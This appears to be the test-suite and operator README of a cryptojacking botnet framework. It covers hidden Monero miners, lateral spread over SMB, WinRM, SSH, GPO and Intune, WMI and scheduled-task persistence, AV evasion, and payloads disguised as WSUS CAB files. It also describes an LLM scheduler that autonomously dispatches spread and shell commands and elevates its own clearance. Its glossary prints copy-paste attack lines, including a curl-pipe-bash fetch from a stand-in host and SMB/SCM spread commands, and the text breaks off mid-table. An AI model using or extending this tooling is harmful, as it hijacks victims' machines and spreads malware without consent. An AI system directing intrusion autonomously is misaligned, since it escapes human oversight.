Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
AetherForge Test Suite
Current counts (2026-06-07): Go server 797 Test* · Go agent 612 Test* · Vitest 791 tests in 95 files · Playwright 25 tests in 8 spec files. Refresh: go test ./... -list . (server/agent), npm run test -- --run (Vitest), npx playwright test --list (E2E). Full suite: test.bat → scripts/test-suite.ps1.
Master validation (operator commands)
PROBLEMS.md Test gaps / noise defers here — use the tables below for P1, fleet evolution, and P2 coverage.
After parallel agent landings, run from repo root:
| Gate | Command | Phases |
|---|---|---|
| Full gate | .\scripts\test-suite.ps1 |
1–8 (Go server, Go agent, fusion, Vitest, builds, Playwright on :18989) |
| Quick verify | .\scripts\test-suite.ps1 -SkipE2E |
1–7b without Playwright — default post-landing smoke |
| Fast slice | .\scripts\test-suite.ps1 -SkipE2E -SkipBuild |
1–4 only (Go + Vitest) |
| P2 focused | .\scripts\test-suite.ps1 -P2 |
Mining/spread/path-forge/WS subset + Vitest; add phase 8 manually for onion + discover E2E |
| Fleet recon | .\scripts\test-suite.ps1 -ReconOnly |
Vuln/CVE, cred graph, triple-onion gates, Path Tracer discover, recon Vitest |
Count refresh (update this doc when totals drift):
cd server; (go test ./... -list . 2>$null | Select-String '^Test').Count
cd agent; (go test ./... -list . 2>$null | Select-String '^Test').Count
cd server\web; npm run test -- --run
cd server\web; npx playwright test --list
One command runs everything:
test.bat
From repo root with GNU Make (same as test.bat):
make test
make test-quick # -SkipE2E
make test-fast # -SkipE2E -SkipBuild
Or with PowerShell directly:
.\scripts\test-suite.ps1
.\scripts\test-suite.ps1 -SkipE2E -SkipBuild
.\scripts\test-suite.ps1 -ReconOnly
.\scripts\test-suite.ps1 -P2
Portable USB: pack-usb.bat from repo root → copy usb\ to a drive → LAUNCH.bat (opens http://localhost:8989/; /agents redirects to /crucible in the SPA).
Fleet evolution master checklist (2026-06-07)
Windows dashboard only; no in-process cloudflared. Genealogy fields are telemetry on auth/stats only — they never gate fleet_secret or block agent registration.
| Feature | Where | Regression (quick) |
|---|---|---|
| Seeder / miner split | Forge fleet_role + seeder_mode; agent config/fleet_role.go; server internal/strategy/fleet_role.go, internal/api/fleet_role.go; seeder staging (deploy/seeder_staging.go, lan_seeder.go) |
go test ./config/... ./client/... -run FleetRole -count=1 (agent); go test ./internal/strategy/... ./internal/api/... ./internal/builder/... -run FleetRole -count=1 (server) |
| Atlas LAN gossip | Agent client/atlas_gossip.go; server internal/atlas/lan_gossip.go, internal/api/atlas_gossip.go |
go test ./client/... -run AtlasGossip -count=1; go test ./internal/atlas/... ./internal/api/... -run AtlasGossip -count=1 |
| Genetic phenotype breeding | server/internal/strategy/breeding.go merges sibling phenotypes |
go test ./internal/strategy/... -run Breeding -count=1 |
| BGP-style spread router | server/internal/spreadrouter/; Path Tracer + deploy plan spread_route_hint |
go test ./internal/spreadrouter/... -count=1; go test ./internal/api/... -run SpreadRoute -count=1 |
| Erasure-coded multi-lane spread (foundation) | Server internal/erasure/ RS 4+2 encode + erasure_plan on deploy plans; agent deploy/erasure_staging.go k-of-n reassembly fallback; Calibrate server.erasure_lanes_enabled + Path Tracer RS lanes hint |
go test ./internal/erasure/... -count=1; go test ./internal/api/... -run Erasure -count=1; go test ./deploy/... -run Erasure -count=1; go test ./config/... ./client/... -run Erasure -count=1 |
| Spread genealogy watermark | Forge -ldflags + env overrides; auth/stats JSON only |
go test ./config/... -run Genealogy -count=1; go test ./internal/builder/... -run Genealogy -count=1; go test ./internal/api/... -run SpreadGenealogy -count=1 |
| Genealogy grafting | Court spread_graft + L4 + hashrate gate; POST /api/v1/fleet/graft; auth graft_policy push; agent applies tier order on next spread; zero config when ai_control_enabled + fleet_roles_enabled |
go test ./internal/strategy/... -run Graft -count=1; go test ./internal/api/... -run FleetGraft -count=1; go test ./client/... -run GraftPolicy -count=1; Vitest AccessDepthPanel.graft.test.tsx, PathTracerPage graft note |
| Court retry + L4 elevation | server/internal/ai/court_commands.go, scheduler ensureCourtRetryClearance |
go test ./internal/ai/... -run CourtRetry -count=1 |
| Hashrate + subnet spread gates | Agent deploy/hashrate_gate.go; server internal/db/subnet_spread_pause.go, internal/atlas/subnet_immune.go |
go test ./deploy/... -run HashrateGate -count=1; go test ./internal/db/... ./internal/atlas/... -run Subnet -count=1 |
| APK scout mode | Forge scout_mode / ApkMode; agent client/scout_mode.go; builder build_apk.go |
go test ./client/... -run Scout -count=1; go test ./internal/builder/... -run Apk -count=1; go test ./internal/api/... -run Scout -count=1 |
| AI persona spread temperament | Calibrate ai_persona; auth spread_temperament policy push |
go test ./internal/ai/... -run Persona -count=1; go test ./client/... -run SpreadTemperament -count=1; Vitest Settings persona chips |
| WSUS CAB/partial mimic | Forge WSUSFormatMimic; staging wrap/unwrap in wsus_cache_peer_staging.go |
go test ./deploy/... -run FormatMimic -count=1; go test ./internal/api/... -run WSUSFormat -count=1 |
| Spread immunity / subnet pause | server/internal/api/spread_immunity.go |
go test ./internal/api/... -run SpreadImmunity -count=1 |
| Fleet pressure telemetry | Agent client/fleet_pressure.go (seed_pressure, hashrate_pressure, emberwake_heat) |
go test ./client/... -run FleetPressure -count=1; Vitest wsStatsCoalesce.test.ts |
Full gate: .\scripts\test-suite.ps1 (phases 1–8). P2-focused slice: .\scripts\test-suite.ps1 -P2 then phase 8 for Playwright onion + discover→spread stub.
P2 completion (2026-06-07)
Master suite: .\scripts\test-suite.ps1 (all 8 phases). Focused P2 after landing parallel agents: .\scripts\test-suite.ps1 -P2 (Go mining/spread/path-forge/WS + Vitest); add phase 8 for Playwright onion + discover→spread stub.
| Area | Quick run |
|---|---|
| Mining chain lifecycle | cd agent && go test ./client/... -run MiningChain -count=1 |
| WS/beacon integration | cd agent && go test ./client/... -run WSBeacon -count=1 and cd server && go test ./internal/api/... -run WSBeacon -count=1 |
| Spread lanes (mock) | cd server && go test ./internal/api/... -run SpreadLane -count=1 and cd agent && go test ./deploy/... -run WinRM -count=1 |
| Path Forge | cd server && go test ./internal/builder/... -run PathForge -count=1 and cd server/web && npm run test -- --run src/pages/BuilderPage.test.tsx |
| E2E onion + discover | Phase 8: lotl-timeline.spec.ts, discover-spread.spec.ts (incl. 3-hop chain stub) |
| Container/podman mocks | `cd agent && go test ./miner/... -run "Container |
| BITS/curl target-OS mocks | `cd agent && go test ./deploy/... -run "BITS |
| WinRM/GPO/systemd httptest | cd server && go test ./internal/api/... -run PostDeploy -count=1 and `cd agent && go test ./deploy/... -run "DeployPlanWinRM |
Phases
| Phase | What it runs | Location |
|---|---|---|
| 1 | Go server unit + integration tests | server/ |
| 2 | Go agent tests | agent/ |
| 3 | Fusion module unit tests + compile check | fusion/ |
| 4 | Frontend unit tests (Vitest) | server/web/ |
| 5 | Frontend production build | server/web/ |
| 6 | Server binary compile | server/ |
| 7 | Agent binary compile (Windows) | agent/ → bin/install-worker.exe |
| 7b | Agent cross-compile (linux/darwin) | agent/ → bin/install-worker-* |
| 8 | E2E smoke (Playwright) | server/web/e2e/ — starts temp server on :18989 |
Phases 5–7 and 7b are skipped with -SkipBuild. Phase 8 is skipped with -SkipE2E.
-ReconOnly runs the fleet recon subset (vuln/CVE, cred graph, service graph, triple-onion gates, network hints, Path Tracer discover, recon UI Vitest) and exits — useful after parallel agent landings.
Operator quick start (LOTL + fleet recon)
-
Forge with LOTL Onion — Forge → Operation mode → LOTL Onion (in-process RandomX, native-tool spread chain). Set your XMR wallet and forge once. With
lotl_policy_from_serveron (preset default), tier order comes from Calibrateserver.lotl_onion_tierson agent auth — re-forge only when changing wallet, build, or preset flags, not to reorder tiers. See LOTL vector glossary for every tier definition + example. -
Probe & Join — Crucible → select online node(s) → Probe & Join (
discover_and_join). Agent runs service discovery, server signs a deploy plan, and the best LOTL lane executes. Risk/join-lane badges update on the next stats tick. See glossary rows:discover_and_join,join_lane,service_discover. -
Deployment credentials vault — For cred-assisted spread (
spread_cred, SMB/WinRM lanes), add profiles todata/config.json:"deployment_credentials": [ { "label": "Lab ops", "username": "corp\\\\ops", "vault_ref": "deployment-creds/lab.vault" } ]Store the password in
data/deployment-creds/<id>.vaultas plain text or{"password":"..."}(0600). Never commit vault files. Affinity ordering is covered byTestOrderDeploymentCredProfiles_AffinityandTestLoadDeploymentCredPasswordFromVault.
Playbook: /docs/SPREAD_TECHNIQUES.html#lotl-onion. Recon regression: scripts/test-suite.ps1 -ReconOnly after landing agents.
Fleet role split (Seeder / Miner)
Seeders (fleet_role=seeder, seeder_mode baked at forge) skip the RandomX mining chain and run dns_txt / webrtc_mesh / do_peer staging lanes only (defer_mining semantics). Miners hash normally and may pull payloads from the nearest LAN seeder via existing webrtc/do_peer paths (lan_seeders on auth when server.fleet_roles_enabled).
Telemetry: agents report fleet_role, seed_pressure (0–1), and hashrate_pressure on stats WS; the server ingests emberwake_heat for war-room heat maps (server/internal/strategy/fleet_role.go).
Forge: Advanced → Fleet role chips (auto | miner | seeder); seeder bake sets MiningDisabled, enables DNS/WebRTC spread, filters LOTL tiers. Calibrate: server.fleet_roles_enabled (default off).
cd agent && go test ./config/... ./deploy/... ./client/... -run "Fleet|Seeder|SeedPressure|LANSeeder" -count=1
cd server && go test ./internal/strategy/... ./internal/api/... ./internal/builder/... -run "FleetRole|Emberwake|Seeder" -count=1
cd server\web && npm run test -- --run src/help/warRoomTelemetry.ts src/pages/BuilderPage.test.tsx
| Area | Test file(s) |
|---|---|
| Role resolution + seeder forge defaults | agent/config/fleet_role_test.go |
| Seeder staging + LAN seeder pick | agent/deploy/seeder_staging_test.go, lan_seeder_test.go |
| Mining skip + pressure fields | agent/client/fleet_pressure_test.go, fleet_role_lifecycle_test.go |
| Auth hints + emberwake heat ingest | server/internal/api/fleet_role_test.go |
| Emberwake heat helper | server/internal/strategy/fleet_role_test.go |
| Forge bake + builtin template | server/internal/builder/fleet_role_test.go |
Adaptive Strategy
The server adaptive strategy engine (server/internal/strategy/) learns from your fleet only: OS fingerprint, Docker/WSL/GPU probes, subnet, lotl_attempts, and mining_hashrate. On agent auth it pushes adaptive_strategy with a personalized tier_order, optional skip_tiers, and a human-readable strategy_reasoning[] trace (weighted scoring — not a black-box LLM). Background rescoring runs every 5 minutes from stats_batch / tier_report ingestion into SQLite tier_outcomes. Adaptive overrides order and skip hints only; it does not change wallet, patch_first, or other triple-onion gates. Disable via Calibrate server.adaptive_strategy_enabled (default true). Manual refresh: POST /api/v1/strategy/recompute. Crucible Access Depth → Strategy shows reasoning bullets and an Adaptive badge when the server order differs from default.
Regression: go test ./internal/strategy/... ./internal/api/ -run Adaptive (server) and Vitest AccessDepthPanel.test.tsx.
Phenotype cloning
When an agent reports a winning spread+mining path, the server upserts a fleet phenotype keyed by host fingerprint. Sibling agents receive inherited_phenotype on auth — tier order and spread lane clone without re-forge.
Auth tier-plan precedence: inherited phenotype (SQLite fleet winner) > genetic breed (crossover of two lane-specific winners for the same fingerprint) > adaptive strategy.
When two lane winners exist for the same fingerprint bucket with different join_lane / spread_lane values, the strategy engine crossbreeds their tier orders (single-point crossover + failed-tier mutation) and stores the result in an in-memory BreedingRegistry. Siblings without a direct fleet winner receive the bred order as inherited_phenotype with genetic_breed: true.
Regression:
cd server && go test ./internal/strategy/... ./internal/api/... -run "Phenotype|Breed|Genetic" -count=1
Failure atlas
The failure atlas (server/internal/atlas/) records conditioned tier failures. After five failures under an active condition, it hard-skips subtree tiers, merges into adaptive_strategy.skip_tiers, and pushes atlas_skips on auth. LOTL Timeline marks tiers skipped_by_atlas.
Atlas LAN gossip (optional): When Calibrate server.atlas_lan_gossip_enabled is true, agents broadcast tier+condition skip hints to WS-connected siblings on the same /24. The server relays atlas_gossip frames (no raw UDP). Siblings merge hints into local atlas_skips before spread attempts. Auth pushes atlas_lan_gossip_enabled in auth_response.
Regression:
cd server && go test ./internal/atlas/... ./internal/api/... -run "AtlasGossip|LanGossip|MergeGossip" -count=1
cd agent && go test ./client/... -run "AtlasGossip|Gossip" -count=1
Court session
When AI Control is on and a host is stuck (zero hashrate + exhausted chain or all spread tiers failed), the scheduler runs a Singular Machine Court: Prosecutor (failure atlas + attempts), Defender (fleet phenotype), Judge (verdict + commands). Persisted with court_session=true for LOTL Timeline.
Clearance L0–L4
Agents receive session clearance on auth (L0 stats → L4 forge). Fleet AI and remote actions enforce minimum levels. With ai_auto_elevate_clearance, stuck hosts auto-elevate to L4 so court-ordered commands can execute. Events broadcast as clearance_elevated on dashboard WS.
Fleet AI Control
Calibrate → Calibration Control toggles server.ai_control_enabled. When on, the server Fleet AI scheduler (server/internal/ai/) polls connected agents on ai_decision_interval_sec (default 60s), builds snapshots from WS + DB state, calls a local OpenAI-compatible endpoint (ai_endpoint, default http://127.0.0.1:11434/v1), parses commands[] from the model response, and dispatches fleet actions (restart_mining, discover_and_join, spread_now, agent_command, etc.). Decisions are stored in SQLite ai_decisions and surfaced on LOTL Timeline when AI control is enabled.
Precedence: ai_control_enabled: true replaces adaptive strategy for tier-order decisions — auth omits adaptive_strategy, background rescoring no-ops, and FleetAISnapshot skips adaptive reasoning. Adaptive strategy resumes when AI control is turned off.
Operator settings: ai_endpoint, ai_model, ai_no_context (single-turn prompts), ai_decision_interval_sec. Refresh models: Calibrate Refresh models → GET /api/v1/ai/models. Audit trail: GET /api/v1/ai/decisions?agent_id=.
Agent side: hub sends ai_snapshot_request → agent replies ai_snapshot (agent/client/ai_snapshot.go); scheduler commands map to ai_commands handlers (exec_shell, full_sys_check, restart_mining, etc.). Per-agent Ollama autonomy (ai_enabled forge flag) remains separate — see Agent logs.
Fleet AI + LOTL Timeline quick-run
cd server && go test ./internal/ai/... ./internal/api/... -run "FleetAI|Scheduler|ParseCommands|AuthResponse.*Adaptive|AI" -count=1
cd agent && go test ./client/... -run "AI|HandleAI|AISnapshot|VulnLOTL" -count=1
cd server\web && npm run test -- --run src/pages/LotlTimelinePage.test.tsx src/pages/SettingsPage.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/help/settingHelp.test.ts
Client WS/beacon integration (2026-06-07)
httptest + gorilla/websocket integration tests for agent auth/stats relay, HTTPS beacon fallback, command round-trips, AI snapshot telemetry, upload-over-WS (base64 command frame — no separate chunk type), and disconnect cleanup.
cd server && go test ./internal/api/... -run "Beacon|WebSocket|Auth|stats_batch" -count=1
cd agent && go test ./client/... -run "Beacon|HandleMessage|WS" -count=1
| Feature | Test file(s) | Suite phase |
|---|---|---|
Auth → stats tick → stats_batch coalescing (dashboard WS) |
server/internal/api/ws_beacon_integration_test.go, websocket_test.go |
1 |
| Beacon registration + heartbeat + queued commands + result relay | server/internal/api/ws_beacon_integration_test.go, beacon_test.go |
1 |
| Beacon state cleared on WS reconnect | server/internal/api/ws_beacon_integration_test.go |
1 |
| Operator name preserved vs hostname on reconnect | server/internal/api/websocket_test.go |
1 |
Command dispatch (exec_shell, mining_diagnostics) server → agent WS |
server/internal/api/ws_beacon_integration_test.go |
1 |
ai_snapshot_request → ai_snapshot telemetry cache |
server/internal/api/ws_beacon_integration_test.go, fleet_intelligence_test.go |
1 |
Agent disconnect → offline + agent_offline + log cache cleared |
server/internal/api/ws_beacon_integration_test.go |
1 |
Agent WS command round-trip (exec_shell, mining_diagnostics, upload) |
agent/client/ws_beacon_integration_test.go |
2 |
Agent ai_snapshot WS write + handleMessage mining diagnostics |
agent/client/ws_beacon_integration_test.go, handlemessage_test.go |
2 |
HTTPS beacon heartbeat + command + /beacon/result |
agent/client/ws_beacon_integration_test.go, beacon_transport.go |
2 |
Reconnect auth payload (worker_name vs hostname) |
agent/client/ws_beacon_integration_test.go, websocket_test.go |
1 / 2 |
Disconnect write guard (conn == nil) |
agent/client/ws_beacon_integration_test.go |
2 |
Note: Full mining_diagnostics JSON over WS is slow (~1s+) on Windows due to runtime probes; agent integration tests stub probes via stubFastMiningDiagnostics and relay a representative command_result frame on the wire. Server-side tests dispatch commands over WS independently of diagnostics generation time.
Fleet AI coverage map
| Feature | Test file(s) | Suite phase |
|---|---|---|
| Command parser (JSON, tool-call, COMMAND: lines) | server/internal/ai/commands_test.go |
1 |
| OpenAI client (models list, decide) | server/internal/ai/client_test.go |
1 |
| Scheduler mock (1 agent, 1 cycle; disabled no-op) | server/internal/ai/scheduler_test.go |
1 |
| AI config / models / decisions API | server/internal/api/fleet_ai_handler_test.go |
1 |
| AI control precedence over adaptive (auth + snapshot) | server/internal/api/strategy_auth_test.go, fleet_ai_handler_test.go |
1 |
| Legacy Ollama decide/report API | server/internal/api/ai_handler_test.go |
1 |
ai_snapshot JSON shape + stuck detection |
agent/client/ai_snapshot_test.go |
2 |
ai_snapshot_request WS dispatch |
agent/client/handlemessage_test.go |
2 |
ai_commands handlers + path traversal + spread/restart/syscheck |
agent/client/ai_commands_test.go |
2 |
| Upload/download/read_file path guards + config round-trip | agent/client/client_upload_test.go, file_ops_common_test.go, deploy/desktop_path_test.go |
2 |
| Agent/fusion/APK artifact download routes | server/internal/api/download_handler_test.go, dropper_handler_test.go, builder/handler_serve_test.go |
1 |
| APK asset paths ↔ BinaryExtractor.kt cross-check | server/internal/builder/build_apk_test.go, android/forge/internal/forge/config_test.go |
1 / 3 |
| Calibrate AI Control toggle + models refresh | server/web/src/pages/SettingsPage.test.tsx |
4 |
| LOTL Timeline page (tier chain + AI decision panel) | server/web/src/pages/LotlTimelinePage.test.tsx |
4 |
| LOTL tier timeline component | server/web/src/components/Lotl/LotlTierTimeline.test.tsx |
4 |
Calibrate help keys (calibration_ai_control) |
server/web/src/help/settingHelp.test.ts, docAnchors.test.ts |
4 |
| Persona spread temperament (tier order hints) | server/internal/ai/personas_test.go |
1 |
Auth spread_temperament when AI control |
server/internal/api/strategy_auth_test.go, scout_phenotype_test.go |
1 |
| Fleet AI snapshot spread temperament | server/internal/api/fleet_ai_handler_test.go, fleet_intelligence_test.go |
1 |
| APK scout preset + builtin flags | server/internal/builder/build_apk_test.go, android/forge/internal/forge/config_test.go |
1 / 3 |
| Scout discover skips staging | agent/deploy/scout_discover_test.go |
2 |
| Scout remote action gates | agent/client/scout_mode_test.go |
2 |
| Scout phenotype publish | server/internal/api/scout_phenotype_test.go |
1 |
| Scout constellation venues (SSID → persona pack) | server/internal/ai/scout_constellation_test.go, server/internal/api/scout_constellation_test.go, agent/client/scout_constellation_test.go, agent/deploy/scout_wifi_test.go, server/web/src/help/scoutBiomeWeather.test.ts |
1 |
Fleet intelligence (2026-06-07 — phenotype, atlas, court, clearance)
| Feature | Test file(s) | Suite phase |
|---|---|---|
| Fleet phenotype store + peak hashrate | server/internal/strategy/phenotype_test.go, server/internal/db/phenotype_test.go |
1 |
| Phenotype publish + sibling inheritance API | server/internal/api/phenotype_test.go |
1 |
| Agent auth phenotype policy | agent/client/phenotype_policy_test.go |
2 |
| Failure atlas subtree skips | server/internal/atlas/failure_atlas_test.go |
1 |
| Subnet immune spread pause (/24, 5 failures → 24h) | server/internal/atlas/subnet_immune_test.go, server/internal/db/subnet_spread_pause_test.go, server/internal/api/spread_immunity_test.go |
1 |
Court-mandated retry (spread_retry_lane, skip_tier → L4 dispatch) |
server/internal/ai/court_commands_test.go, server/internal/ai/court_prompt_test.go, server/internal/ai/scheduler_test.go |
1 |
| Hashrate-gated autospread (earn-before-burn) | agent/deploy/hashrate_gate_test.go, agent/client/spread_policy_test.go |
2 |
| Atlas LAN gossip relay + merge | server/internal/atlas/lan_gossip_test.go, server/internal/api/atlas_gossip_test.go |
1 |
| Agent atlas gossip merge + broadcast | agent/client/atlas_gossip_test.go |
2 |
| Clearance L0–L4 command gating | server/internal/clearance/clearance_test.go |
1 |
| AI scheduler clearance elevation | server/internal/ai/scheduler_test.go |
1 |
| Clearance helpers + timeline history | server/web/src/help/clearance.test.ts, server/web/src/pages/LotlTimelinePage.test.tsx |
4 |
| Phenotype cloned-from + clearance badge UI | server/web/src/components/Lotl/LotlTierTimeline.test.tsx, server/web/src/components/Fleet/AccessDepthPanel.test.tsx |
4 |
cd server && go test ./internal/strategy/... ./internal/db/... ./internal/api/... ./internal/atlas/... ./internal/clearance/... ./internal/ai/... -run "Phenotype|Atlas|Court|Clearance|Subnet|SpreadRetry|Hashrate|Immune" -count=1
cd agent && go test ./deploy/... ./client/... -run "Hashrate|SpreadPolicy|Autospread" -count=1
cd server\web && npm run test -- --run src/help/clearance.test.ts src/components/Fleet/AccessDepthPanel.test.tsx src/components/Lotl/LotlTierTimeline.test.tsx src/pages/LotlTimelinePage.test.tsx
Earn-before-burn propagation (2026-06-07)
Calibrate server.hashrate_gate_spread_min + server.hashrate_gate_hps push spread_policy on auth. Agents defer autospread until mining holds above the H/s threshold for N minutes; SMB/WinRM sweeps also stop when the mining chain is exhausted.
cd agent && go test ./deploy/... -run Hashrate -count=1
cd server && go test ./internal/ai/... -run "Court|SpreadRetry" -count=1
cd server && go test ./internal/atlas/... ./internal/db/... -run Subnet -count=1
Subnet immune response (2026-06-07)
Five spread failures on a /24 (subnet_spread_pause table) pause discover_and_join, spread_now, and stage_fetch to that prefix for 24 hours. Failures increment via spread-cred report edges and block in SendAgentCommand.
cd server && go test ./internal/atlas/... ./internal/db/... ./internal/api/... -run "Subnet|Immune" -count=1
Fleet AI gaps
- Live Ollama / vLLM inference — scheduler uses
DecideFuncinject in unit tests; no CI container with a real model. - Full scheduler E2E — one mocked
Tick()cycle covered; no multi-agent parallel decision race test. - Court session UI — Go + Vitest cover prosecutor/defender/judge in
LotlTimelinePage.test.tsx; no Playwright path yet. - Real
full_sys_checksyscheck bundle — handler test stubsCollectFullSysCheck; live subnet scan /systeminfonot exercised in CI.
LOTL architecture (triple onion)
The triple onion chains three phases on every agent connect (when enabled): recon → deploy → mining. Policy gates (patch_first, skip_mining_on_high_risk) can defer deploy or mining when vuln_findings exceed thresholds.
flowchart TB
subgraph recon["Recon phase"]
kev[kev_scan]
vr[vuln_recon]
sp[service_probe]
lp[listen_ports]
kev --> vr --> sp --> lp
end
subgraph gates["Policy gates"]
pf{patch_first?}
hr{high risk?}
end
subgraph deploy["Deploy lanes"]
dj[discover_and_join]
d1[docker / docker_load]
d2[wsl / powershell / dotnet]
d3[bits_curl / do_peer / wsus_cache_peer / dns_txt / webrtc_mesh / smb / winrm]
d4[linux / gpo / intune]
dj --> d1 --> d2 --> d3 --> d4
end
subgraph mining["Mining execution tiers"]
m1[exe_subprocess]
m2[docker_load / container / wsl]
m3[ps_inmemory / dotnet / cpu_inprocess]
m4[wmi / scheduled_task / webview2_probe]
m5[gpu_compute / gpu_subprocess / linux_pyopencl]
m6[stratum_direct]
m1 --> m2 --> m3 --> m4 --> m5 --> m6
end
recon --> pf
pf -->|critical CVE exposed| skip[Skip deploy + mining]
pf -->|clear| hr
hr -->|risk above threshold| mineOnly[Deploy only or skip mining]
hr -->|acceptable| deploy
deploy -->|lane OK| mining
deploy -->|all lanes fail| mining
Phenotype inherit and failure-atlas skip branches (adaptive / auth path):
flowchart LR
subgraph auth["Agent auth"]
fp[fingerprint match]
pheno{winning phenotype?}
inherit[inherited_phenotype tier_order + spread_lane]
adaptive[adaptive_strategy tier_order]
atlasRec[atlas RecordFailure from stats]
atlasSkip[atlas_skips hard subtree]
merge[MergeSkipsIntoStrategy skip_tiers]
end
fp --> pheno
pheno -->|yes| inherit
pheno -->|no| adaptive
atlasRec --> atlasSkip
adaptive --> merge
atlasSkip --> merge
inherit --> agentPolicy[agent tier policy]
merge --> agentPolicy
Sequential tier attempts within each phase (mining chain shown; spread/deploy lanes behave the same way):
stateDiagram-v2
[*] --> TryTier1
TryTier1 --> Active: tier OK
TryTier1 --> TryTier2: tier failed / skipped
TryTier2 --> Active: tier OK
TryTier2 --> TryTier3: tier failed / skipped
TryTier3 --> Active: tier OK
TryTier3 --> TryTierN: tier failed / skipped
TryTierN --> Active: tier OK
TryTierN --> Exhausted: all tiers failed
Active --> [*]: hashrate reported
Exhausted --> [*]: lotl_attempts logged
Telemetry from each attempt flows to the dashboard via WebSocket stats_batch: lotl_tier, lotl_attempts, mining_hashrate, stratum_egress, join_lane, vuln_findings.
LOTL vector glossary
Every term below has a plain-language definition and a copy-pasteable example (CLI, API, Crucible command, or Forge flag). Canonical spread playbook: server/web/public/docs/SPREAD_TECHNIQUES.html.
Mining execution tiers
| Term | Definition | Example |
|---|---|---|
vuln_recon |
Read-only KEV/CVE/service probe run as a recon tier before deploy or mining; populates vuln_findings and risk score. No exploit payloads. |
Triple-onion recon_tiers includes vuln_recon; or Crucible full_sys_check → vuln_findings in stats_batch. |
exe_subprocess |
Default path: launch XMRig (or forged worker) as a hidden child process on the host. | Forge default miner_execution=subprocess; diagnostics chain tries exe_subprocess first unless AV blocks exe. |
docker_load |
Load a pre-built OCI image tar (docker load -i) and run RandomX inside with read-only rootfs — no registry pull. |
Requires image_tar_url in forge policy; mining tier docker_load when Docker detected + tar policy set. |
container |
Run worker inside Docker/Podman from a pulled or local image — host RandomX paused while container mines. | miner_execution=container at forge; chain order: container after docker_load probe passes. |
wsl |
Mine or bootstrap via WSL — Linux curl|bash or in-WSL RandomX when native Windows path is blocked. | wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=ID | bash" when WSL is installed. |
powershell / ps_inmemory |
PowerShell in-memory or hidden-window miner bootstrap — no standalone unsigned exe on disk. | miner_execution=powershell; encoded install.ps1 from GET /install.ps1?pin=. |
dotnet |
Bootstrap through .NET CLI (dotnet tool run) instead of dropping a raw miner exe. |
Forge miner_execution=dotnet; spread lane dotnet in lotl_onion_tiers. |
cpu_inprocess |
RandomX via embedded go-randomx inside the agent process — AV-Safe / LOTL Onion default terminal CPU tier. |
Forge Operation mode LOTL Onion or miner_execution=inprocess; active tier shows cpu_inprocess in Crucible badge. |
wmi |
Windows WMI event subscription persistence + hidden miner launch via LOLBins. | Mining tier wmi in DefaultWindowsTierOrder(); attempted when prior tiers fail on Windows. |
scheduled_task |
schtasks / Task Scheduler hidden miner job — no interactive installer. |
Mining tier scheduled_task; follows wmi in Windows tier slice. |
webview2_probe |
Probe WebView2/WebGPU availability before escalating to GPU subprocess — gates gpu_subprocess. |
Tier webview2_probe; skips GPU escalation when WebGPU not exposed. |
gpu_compute |
CUDA or HLSL compute-kernel path for GPU hashing before external miner binaries. | Tier gpu_compute; probes CUDA/HLSL then may fall through to gpu_subprocess. |
gpu_subprocess |
External GPU miner subprocess (T-Rex / TeamRedMiner) for KawPoW/RVN. | Forge GPU enabled; chain tier gpu_subprocess after webview2_probe passes. |
stratum_direct |
Agent mines directly to pool Stratum when C2 proxy is down or tier chain exhausts in-process paths. | stratum_egress=direct in stats; fallback after 30s C2 outage or terminal chain tier. |
linux_pyopencl |
Linux OpenCL probe via python3 -c "import pyopencl" before stratum_direct when no CUDA. |
Inserted by appendLinuxPyOpenCL in fallback chain on Linux agents without CUDA. |
Spread / deploy lanes
| Term | Definition | Example |
|---|---|---|
bits_curl |
Stage payload with BITS (bitsadmin) or curl.exe; optional certutil -decode + SHA256 verify. |
stage_fetch manifest {"method":"bits",…} or CCMEXEC service → bits_curl join lane. |
do_peer |
Shadow Cache Handoff — DoSvc + BITS peer-style chunk staging on LAN; hash-verified assembly, rundll32/BITS launch. | DoSvc running → join_lane_candidate: do_peer; signed deploy plan with peer_group, --defer-mining. |
wsus_cache_peer |
WSUS offline cache cousin — stages beside SoftwareDistribution\Download; Wuauserv/AU probe; hash verify + defer_mining launch. Forge wsus_format_mimic (default ON) wraps chunks as *.cab.partial with SSU/CAB-like headers — format mimicry, not packing; lotl_attempts unchanged. |
Wuauserv running → join_lane: wsus_cache_peer (allowlist priority after do_peer). |
dns_txt |
DNS TXT mesh — _aether.<zone> shards via nslookup/Resolve-DnsName; TTL policy refresh; embedded chunk API for tests. |
_aether TXT present → join_lane: dns_txt; Forge dns_txt_spread default ON. |
webrtc_mesh |
WebRTC LAN seed — subnet seeder, manifest over data channel (STUN + WS relay); LAN HTTP fallback stub in tests. | Forge webrtc_mesh_spread default OFF; webrtc_mesh_policy 24h seeder rotation. |
smb / spread_smb_unc |
Lateral via SMB admin share + SCM (sc.exe create/start) pointing at a UNC worker path — no PsExec. |
{"action":"spread_smb_unc","path":"\\\\forge\\\\pathforge$\\\\worker.exe"} |
winrm |
PS remoting lateral when ports 5985/5986 respond. | POST /api/v1/builder/spread-template-export {"template":"winrm"}; autospread when winrm_spread forge flag set. |
linux / linux_lotl |
SSH/SCP lateral on Unix with optional systemd-run or crontab LOTL persistence. | {"template":"linux-lotl","lotl_mode":"both"}; sshd service → linux_lotl join lane. |
gpo |
AD Group Policy startup script fetches worker on domain boot. | Export {"template":"gpo"} → gpo-startup.ps1 in GPO Scripts → Startup. |
intune |
Intune proactive remediation / platform script assignment (enterprise sibling to GPO). | Export {"template":"intune"} → assign intune-startup.ps1 in owned tenant. |
stage_fetch |
C2 sends a staging manifest; agent downloads chunks, verifies hash, launches via exe or rundll32. |
{"action":"stage_fetch","data":"{\"method\":\"curl\",\"chunks\":[…],\"sha256\":\"…\",\"dest\":\"%TEMP%\\\\w.exe\",\"launch\":\"exe\"}"} |
discover_and_join |
Crucible Probe & Join: service discovery → server deploy plan → best LOTL lane executes. | Crucible → Probe & Join → discover_and_join command to selected online nodes. |
network_recon |
Passive egress recon (ARP, DNS SRV, cert hints) for Path Tracer graph enrichment. | Path Tracer session auto-dispatches network_recon on egress hop; populates network_hints. |
service_discover |
Enumerate local + LAN services/ports; feeds service_graph and join_lane_candidate. |
{"action":"service_discover"}; Path Tracer merges hop results into service_graph API. |
spread_route / spread_route_hint |
